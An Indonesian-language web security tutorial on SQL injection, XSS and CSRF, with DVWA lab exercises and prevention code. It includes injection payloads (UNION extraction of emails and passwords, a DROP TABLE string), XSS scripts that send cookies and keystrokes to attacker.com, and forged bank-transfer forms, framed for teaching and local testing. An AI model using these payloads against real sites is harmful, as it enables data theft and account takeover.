Web Application Security Fundamentals #05: Common Web Attack Vectors - SQL Injection, XSS, CSRF
Memahami SQL injection, XSS, dan CSRF dengan contoh payload, testing methodology, dan remediation strategy untuk web application security.
Sekarang saatnya mempelajari bagaimana vulnerability dieksploitasi. Memahami attack vectors membantu Anda:
- Mengidentifikasi di mana kode vulnerable
- Menulis test case yang lebih baik
- Memilih remediation yang tepat
Tutorial ini fokus pada tiga attack vector paling umum dan paling berbahaya: SQL Injection, Cross-Site Scripting (XSS), dan Cross-Site Request Forgery (CSRF).
Etika Ketat: Semua demo HANYA di local lab atau aplikasi yang Anda miliki. Jangan test di website pihak ketiga tanpa izin tertulis.
Tujuan Pembelajaran
Setelah modul ini, Anda dapat:
- Menjelaskan SQL injection dan 3 jenis (error-based, blind, time-based)
- Menulis SQL injection payload untuk testing
- Menjelaskan XSS, difference stored vs reflected vs DOM-based
- Demonstrate cookie theft via XSS
- Menjelaskan CSRF dan bagaimana defense-nya
- Memahami mengapa parameterized queries mencegah injection
- Menulis test case untuk setiap attack vector
1. SQL Injection (A05 dari OWASP Top 10)
Bagaimana Bekerja
Konsep: Untrusted user input dimasukkan ke SQL query tanpa escaping, mengubah query logic.
# ❌ VULNERABLE
email = request.args.get('email') # User input
query = f"SELECT * FROM users WHERE email = '{email}'"
# If email = "' OR '1'='1"
# Query becomes: SELECT * FROM users WHERE email = '' OR '1'='1'
# Condition '1'='1' selalu true → return semua users
Jenis SQL Injection
1. Error-Based (memperoleh info dari error message)
Input: ' UNION SELECT table_name FROM information_schema.tables --
Output: Error message berisi table names → attacker tahu schema
2. Boolean-Based Blind (timing attack)
Input: ' AND (SELECT COUNT(*) FROM users) > 0 --
Output: Response berbeda → attacker tahu kondisi adalah true/false
Dapat brute-force karakter per karakter
3. Time-Based Blind (delay response)
Input: ' AND IF(1=1, SLEEP(5), 0) --
Output: Response delay 5 detik → attacker tahu kondisi true
Dapat brute-force dengan timing
Testing SQL Injection
Setup local lab:
# Start vulnerable app (DVWA atau WebGoat)
docker run -p 8080:80 vulnerables/web-dvwa
# Test 1: Simple injection
curl "http://localhost:8080/search.php?q=test' OR '1'='1"
# Test 2: UNION-based
curl "http://localhost:8080/search.php?q=test' UNION SELECT 1,2,3--"
# Test 3: Time-based blind
curl "http://localhost:8080/search.php?q=test' AND SLEEP(5)--"
Prevention
# ❌ NEVER string concatenation
query = f"SELECT * FROM users WHERE email = '{email}'"
# ✅ ALWAYS parameterized queries
query = "SELECT * FROM users WHERE email = ?"
result = db.execute(query, (email,))
# ✅ ORM juga OK (biasanya build parameterized query)
user = User.query.filter_by(email=email).first()
2. Cross-Site Scripting (XSS) - A03 dari Top 10
Jenis XSS
Stored XSS (data disimpan di database):
<!-- User input di comment -->
<p>Great product! <script>fetch('/steal?c='+document.cookie)</script></p>
<!-- Disimpan ke database -->
<!-- Setiap orang yang buka page ini: script execute -->
Reflected XSS (instant, tidak disimpan):
https://example.com/search?q=<script>alert('XSS')</script>
Server reflect input langsung ke response tanpa encoding
DOM-based XSS (JavaScript manipulation):
// ❌ VULNERABLE
const search = new URLSearchParams(location.search).get('q');
document.getElementById('results').innerHTML = search;
// Input: <img src=x onerror="alert('XSS')">
Testing XSS
# Test 1: Stored XSS
curl -X POST http://localhost:8080/comment \
-d "text=<script>alert('XSS')</script>"
# Refresh page, script execute
# Test 2: Reflected XSS
curl "http://localhost:8080/search?q=<script>alert('XSS')</script>"
# Check response, apakah <script> tag ada tanpa encoding?
# Test 3: Cookie theft
curl "http://localhost:8080/search?q=<img src=x onerror=\"fetch('http://attacker.com?c='+document.cookie)\">"
Prevention
// ❌ NEVER render untrusted HTML
document.getElementById('output').innerHTML = userInput;
// ✅ Use textContent untuk text-only content
document.getElementById('output').textContent = userInput;
// ✅ Use DOMPurify untuk sanitize HTML
import DOMPurify from 'dompurify';
document.getElementById('output').innerHTML = DOMPurify.sanitize(userInput);
// ✅ Server-side: encode output sesuai context
// HTML context: & → & < → < > → >
// URL context: encode()
// JavaScript context: JSON.stringify()
3. Cross-Site Request Forgery (CSRF) - A01
Bagaimana CSRF Bekerja
Attacker trick user untuk melakukan unauthorized action di aplikasi lain:
Step 1: User login ke bank.com di tab 1
Step 2: User visit malicious.com di tab 2 (sama browser)
Step 3: malicious.com punya HTML:
<form action="https://bank.com/transfer" method=POST>
<input name="to" value="attacker">
<input name="amount" value="1000000">
</form>
<script>document.forms[0].submit();</script>
Step 4: Browser auto-submit form dengan bank.com cookies
Step 5: Transfer terjadi tanpa user klik!
Why CSRF Works
Cookies dari bank.com dikirim automatically dengan setiap request ke bank.com, termasuk:
- Request dari iframe/form di malicious.com
- Request dari
<img src="https://bank.com/transfer?...">
Prevention
Option 1: SameSite Cookie
res.cookie('session', sessionId, {
sameSite: 'Lax', // Default di modern browsers
// Tidak kirim cookie saat cross-site request
});
Option 2: CSRF Token
<!-- HTML form -->
<form method="POST" action="/transfer">
<input type="hidden" name="_csrf" value="randomtoken123">
<input type="text" name="to" placeholder="To">
<input type="number" name="amount" placeholder="Amount">
<button type="submit">Transfer</button>
</form>
// Server-side: verify token
app.post('/transfer', (req, res) => {
const token = req.body._csrf;
const sessionToken = req.session._csrf;
if (token !== sessionToken) {
return res.status(403).json({ error: 'CSRF token invalid' });
}
// Proceed dengan transfer
});
4. Attack Vector Testing Workflow
Phase 1: Reconnaissance
# Enumerate endpoints
curl -I https://api.example.com
curl -I https://api.example.com/api
curl -I https://api.example.com/admin
# Check technologies
curl https://api.example.com/login
# Look for form, button names, endpoints
Phase 2: Vulnerability Discovery
# Test SQL injection
- Input: ' OR '1'='1
- Input: '; DROP TABLE users; --
- Input: ' UNION SELECT 1,2,3--
# Test XSS
- Input: <script>alert('XSS')</script>
- Input: <img src=x onerror="alert('XSS')">
- Input: javascript:alert('XSS')
# Test CSRF
- Check untuk CSRF token di forms
- Check Set-Cookie headers (SameSite?)
Phase 3: Exploitation & Proof of Concept
SQL Injection PoC:
# List all tables
curl "https://api.example.com/search?q=1' UNION SELECT group_concat(table_name),2,3 FROM information_schema.tables--"
# Extract data
curl "https://api.example.com/search?q=1' UNION SELECT group_concat(email,':',password),2,3 FROM users--"
XSS PoC:
<!-- Cookie theft -->
<script>
fetch('http://attacker.com/steal?c='+document.cookie);
</script>
<!-- Keylogger -->
<script>
document.addEventListener('keypress', (e) => {
fetch('http://attacker.com/log?key='+e.key);
});
</script>
CSRF PoC:
<!-- Trick user -->
<img src="https://bank.example.com/transfer?to=attacker&amount=1000000">
<!-- Jika bank tidak punya CSRF protection, transfer terjadi! -->
5. Hands-On Lab: Local Testing
Setup DVWA (Damn Vulnerable Web Application):
docker run -p 8080:80 vulnerables/web-dvwa
# Login: admin / password
# Navigate ke SQL Injection module
Lab 1: SQL Injection Testing
1. Go to SQL Injection page
2. Input: ' OR '1'='1
Result: Semua user ditampilkan
3. Input: 1' UNION SELECT 1,user(),3--
Result: Current database user ditampilkan
4. Input: 1' AND SLEEP(5)--
Result: Response delay (blind time-based)
Lab 2: XSS Testing
1. Go to Stored XSS page
2. Input: <script>alert('XSS')</script>
3. Refresh page, script execute
4. Input: <img src=x onerror="alert(document.cookie)">
5. See cookie value dalam alert
Lab 3: CSRF Testing
1. Go to CSRF page
2. Copy form HTML
3. Create attacker-controlled HTML dengan same form
4. Submit dari different domain
5. Cek apakah action execute tanpa CSRF token check
6. Remediation Strategy
| Vulnerability | Root Cause | Remediation | Testing |
|---|---|---|---|
| SQL Injection | Dynamic query building | Parameterized queries | Payload injection tests |
| XSS | Trusting user input | Output encoding | Script execution attempt |
| CSRF | Missing token validation | CSRF token + SameSite | Cross-origin form submission |
Kesalahan Umum
❌ "Filter character tertentu cukup untuk SQL injection" Blacklist mudah dibypass. Gunakan parameterized queries, bukan sanitize input.
❌ "Encoded HTML untuk XSS prevention" Encoding hanya untuk specific context. JavaScript-context memerlukan JSON.stringify(), URL-context memerlukan encodeURI().
❌ "CSRF token simpan di LocalStorage" LocalStorage accessible dari XSS. Token harus di HttpOnly cookie atau hidden form field.
Kesimpulan
SQL Injection, XSS, dan CSRF adalah gateway vulnerabilities untuk memahami exploitation. Setiap memiliki:
- Root cause yang clear (untrusted input, output rendering, missing validation)
- Detection method yang straightforward (fuzzing input, monitoring output)
- Prevention yang proven (parameterization, encoding, tokens)
Modul berikutnya (#06) membahas Secure SDLC — bagaimana design secure application dari awal.
Referensi
- OWASP: SQL Injection
- OWASP: XSS Prevention Cheat Sheet
- OWASP: CSRF Prevention Cheat Sheet
- PortSwigger Web Security Academy
Baca Berikutnya: #06 - Secure SDLC & Threat Modeling
Post Terkait
Malware Analysis Fundamentals #06: Behavioral & Memory Analysis — Mengamati Perilaku Malware Secara Langsung
Tutorial behavioral & memory analysis malware: mengamati process tree, perubahan file/registry, persistence, trafik C2,...
Malware Analysis Fundamentals #05: Static & Code Analysis — Membedah Malware Tanpa Menjalankannya
Tutorial static & code analysis malware: dari hash dan strings, deteksi packer dengan entropy, sampai disassembly di Ghi...
Malware Analysis Fundamentals #04: Alur Kerja Analisis Malware yang Aman dalam 6 Langkah
Tutorial alur kerja analisis malware yang aman dalam 6 langkah: preserve & hash, triage, static analysis, behavioral ana...